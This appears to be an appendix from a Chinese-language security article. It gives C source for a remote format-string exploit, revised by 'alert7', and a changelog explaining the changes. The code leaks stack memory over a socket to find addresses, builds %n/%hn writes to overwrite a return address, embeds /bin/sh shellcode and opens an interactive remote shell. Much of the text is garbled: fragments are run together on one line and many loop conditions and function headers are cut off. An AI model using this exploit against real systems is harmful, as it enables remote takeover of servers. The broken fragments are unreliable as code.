/* look for the address of the shellcode in the remote stack */
memset (fmt, 0x0, sizeof(fmt));
read_at = addr_stack;
get_addr_as_char(read_at, fmt);
snprintf(fmt+4, sizeof(fmt)-4, "%%%d$s", offset);
/*
*构造read_at%n$s,准备读read_at内存地址的内容
*/
write(sd, fmt, strlen(fmt));
sleep(1);
while((len = read(sd, buf, sizeof(buf))) > 0 &&
(addr_shellcode == -1 || addr_buffer == -1 || addr_ret == -1) ) {
if (debug) fprintf(stderr, "Read at 0x%x (%d)\n", read_at, len);
/***********************************************************************/ #if 0 /***********************************************************************/ /* send the format string */ /* call the return while quiting */ interact(sd); close(sd); -------------------------------------------------------------------- /****************************************************************/ /* 2 3 5 */ char verbose = 0, debug = 0; #define OCT( b0, b1, b2, b3, addr, str ) { \ char *shellcode = int interact(int sock) write(sock, BANNER"\n", sizeof(BANNER)); if (FD_ISSET(STDIN_FILENO, &fds)) { if (FD_ISSET(sock, &fds)) { u_long resolve(char *host) if(!(he = gethostbyname(host))) memcpy(&ret, he->h_addr, sizeof(he->h_addr)); int buf[0]=0; for (i=0;i strcat(buf,"a"); /* i = snprintf(buf + sz+alinged, MAX_FMT_LENGTH, void get_addr_as_char(u_int addr, char *buf) { *(u_int*)buf = addr; int get_offset(int sock,int * alinged) { int i, j,offset = -1, len; for (i = 1; i snprintf(fmt, sizeof(fmt), tmp1, i); if (debug) if (!strcmp(buf, tmp2)) }//end for j
//以下查找shellcode 在内存中的地址
/* the shellcode */
if ((ptr = strstr(buf, shellcode))) {
addr_shellcode = read_at + (ptr-buf) - 4;
fprintf (stderr, "[shell addr is: 0x%x (%d) ]\n", addr_shellcode, len);
fprintf(stderr, "buf = (%d)\n", len);
for (i=0; i
if (i && i%20 == 0) fprintf(stderr, "\n");
}
fprintf(stderr, "\n");
}
/***********************************************************************/
/***********************************************************************/
//以下查找format string地址
/* the input buffer */
if (addr_buffer == -1 && (ptr = strstr(buf, fmt))) {
addr_buffer = read_at + (ptr-buf) - 4;
/*addr_buffer就是format string的地址*/
fprintf (stderr, "[buffer addr is: 0x%x (%d) ]\n", addr_buffer, len);
fprintf(stderr, "buf = (%d)\n", len);
for (i=0; i
if (i && i%20 == 0) fprintf(stderr, "\n");
}
fprintf(stderr, "\n\n");
}
/***********************************************************************/
if (addr_buffer != -1)
addr_ret = addr_buffer-(4*offset+4)-aligned - 4*2 - 4;
#endif
//以下查找要覆盖的返回地址的地址
/* return address */
if (addr_buffer != -1) {
i = 4;
while (i
if (buf[i] == (char)0xff && buf[i+1] == (char)0xbf &&
buf[i+4] == (char)0x04 && buf[i+5] == (char)0x08) {
addr_ret = read_at + i - 2 + 4 - 4;
if ( (addr_ret & 0xff)* ( (addr_ret >> 8) & 0xff) *
( (addr_ret >> 16) & 0xff) * ((addr_ret >> 24) & 0xff) ==0 )
addr_ret = -1;
else fprintf (stderr, "[ret addr is: 0x%x (%d) ]\n", addr_ret, len);
}
i++;
}
}
/***********************************************************************/
read_at += (len-4+1);
if (len == sizeof(buf)) {
fprintf(stderr, "Warning: this has not been tested !!!\n");
fprintf(stderr, "len = %d\nread_at = 0x%x", len, read_at);
read_at-=strlen(shellcode);
}
get_addr_as_char(read_at, fmt);
write(sd, fmt, strlen(fmt));
} //end while
fprintf (stderr, "Building format string ...\n");
memset(buf, 0, sizeof(buf));
build_hn(buf, addr_ret, addr_shellcode, offset, 0,aligned);
write(sd, buf, strlen(buf));
sleep(1);
read(sd, buf, sizeof(buf));
fprintf (stderr, "Sending the quit ...\n");
strcpy(buf, "quit");
write(sd, buf, strlen(buf));
sleep(1);
return 0;
}
--[ Appendix 3 : the exploit modify by alert7 ]--
changelog
1
如果input buffer够大,而又没有其他地址可输入的地方,没有象类似pass的时候
我们可以把shellcode直接放到input buffer中
该改进过的exploit考虑了aligned的问题了,原来原作者没有考虑到
虽然在这个例子中,我们没有碰到,也就是在这个例子中aligned为0
改进过的exploit需要猜测3个部分
一个是offset和aligned
第二个就是input buffer的地址,也就是format string的地址
第三个就是ret_loc,要覆盖的返回地址
减少了猜测shellcode的地址的过程,因为现在把shellcode放到在了
format string后面,直接和format string放进了input buffer
所以,有了format string地址,就有了shellcode地址
4
改进过的exploit修改的返回地址是*printf本身的返回地址,更精确些
关于覆盖*printf本身的返回地址,请参考拙作《利用格式化串覆盖*printf()系列函数本身的返回地址》
也就是由于使用了该技术,才使的我们的shellcode可以放在input buffer中。
该exploit能正确处理
象printf(buf)(format string可以在buf中找到)和sprintf(buf1,buf2)
(format string可以同时在buf1和buf2中找到)这样两大类*printf函数
#include
#include
#include
#include
#include
#include
#include
#include
#include
b0 = (addr >> 24) & 0xff; \
b1 = (addr >> 16) & 0xff; \
b2 = (addr >> 8) & 0xff; \
b3 = (addr ) & 0xff; \
if ( b0 * b1 * b2 * b3 == 0 ) { \
printf( "\n%s contains a NUL byte. Leaving...\n", str ); \
exit( EXIT_FAILURE ); \
} \
}
#define MAX_FMT_LENGTH 128
#define ADD 0x100
#define FOUR sizeof( size_t ) * 4
#define TWO sizeof( size_t ) * 2
#define BANNER "uname -a ; id"
#define MAX_OFFSET 255
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
{
fd_set fds;
ssize_t ssize;
char buffer[1024];
while (1) {
FD_ZERO(&fds);
FD_SET(STDIN_FILENO, &fds);
FD_SET(sock, &fds);
select(sock + 1, &fds, NULL, NULL, NULL);
ssize = read(STDIN_FILENO, buffer, sizeof(buffer));
if (ssize < 0) {
return(-1);
}
if (ssize == 0) {
return(0);
}
write(sock, buffer, ssize);
}
ssize = read(sock, buffer, sizeof(buffer));
if (ssize < 0) {
return(-1);
}
if (ssize == 0) {
return(0);
}
write(STDOUT_FILENO, buffer, ssize);
}
}
return(-1);
}
{
struct hostent *he;
u_long ret;
{
herror("gethostbyname()");
exit(-1);
}
return ret;
}
build_hn(char * buf, unsigned int locaddr, unsigned int retaddr, unsigned int offset, unsigned int base,int alinged)
{
unsigned char b0, b1, b2, b3;
unsigned int high, low;
int start = ((base / (ADD * ADD)) + 1) * ADD * ADD;
int sz;
int i,j,count=0;
OCT(b0, b1, b2, b3, locaddr, "[ locaddr ]");
sz = snprintf(buf+alinged, TWO + 1,
/* 8 char to have the 2 addresses */
"%c%c%c%c" /* + 1 for the ending \0 */
"%c%c%c%c",
b3, b2, b1, b0,
b3 + 2, b2, b1, b0);
/* where is our shellcode ? */
OCT(b0, b1, b2, b3, retaddr, "[ retaddr ]");
high = (retaddr & 0xffff0000) >> 16;
low = retaddr & 0x0000ffff;
printf("low %d;TWO %d;start %d;base %d;offset %d;high %d\n\n",low,TWO,start,base,offset,high);
"%%.%hdx%%%d$n%%.%hdx%%%d$hn",
low - TWO + start - base,
offset,
high - low + start,
offset + 1);
for (j=0;j
if (buf[j] == '%' )
count++;
fprintf(stderr,"%.2x ", (int)(buf[j] & 0xff));
if (j && j%20 == 0) fprintf(stderr, "\n");
}
fprintf(stderr, "\n\n");
if (count > 4)
{
printf("too many '%%' in input buffer\nmay be failed\n\n");
}
strcat(buf,shellcode);
return i;
}
if (!buf[0]) buf[0]++;
if (!buf[1]) buf[1]++;
if (!buf[2]) buf[2]++;
if (!buf[3]) buf[3]++;
}
char fmt[128], buf[128];
char tmp1[128],tmp2[128];
for (j =0;j<4;j++)
{
if (j == 0)
{
strcpy(tmp1,"AAAA%%%d$x");
strcpy(tmp2,"AAAA41414141");
}
if (j == 1)
{
strcpy(tmp1,"AAAAa%%%d$x");
strcpy(tmp2,"AAAAa41414141");
}
if (j == 2)
{
strcpy(tmp1,"AAAAaa%%%d$x");
strcpy(tmp2,"AAAAaa41414141");
}
if (j == 3)
{
strcpy(tmp1,"AAAAaaa%%%d$x");
strcpy(tmp2,"AAAAaaa41414141");
}
write(sock, fmt, strlen(fmt));
memset(buf, 0, sizeof(buf));
sleep(1);
if ((len = read(sock, buf, sizeof(buf))) < 0) {
fprintf(stderr, "Error while looking for the offset (%d)\n", len);
close(sock);
exit(EXIT_FAILURE);
}
fprintf(stderr, "testing offset = %d fmt = [%s] buf = [%s] len = %d\n",
i, fmt, buf, len);
{
offset = i;
*alinged = j;
goto OUT;
}
}//end for i
OUT:
return offset;
}
int main(int argc, char **argv)
{
char *ip = "127.0.0.1", *ptr;
struct sockaddr_in sck;
u_int read_at, addr_stack = (u_int)0xbfffe001; /* default bottom */
u_int addr_shellcode = -1, addr_buffer = -1, addr_ret = -1;
char buf[1024], fmt[128], c;
int port = 12345, offset = -1;
int sd, len, i;
int aligned;
int formatstring_counts = 0;
u_int formatstring1=0,formatstring2=0;
int use_format = 0;
int like_printf = 0;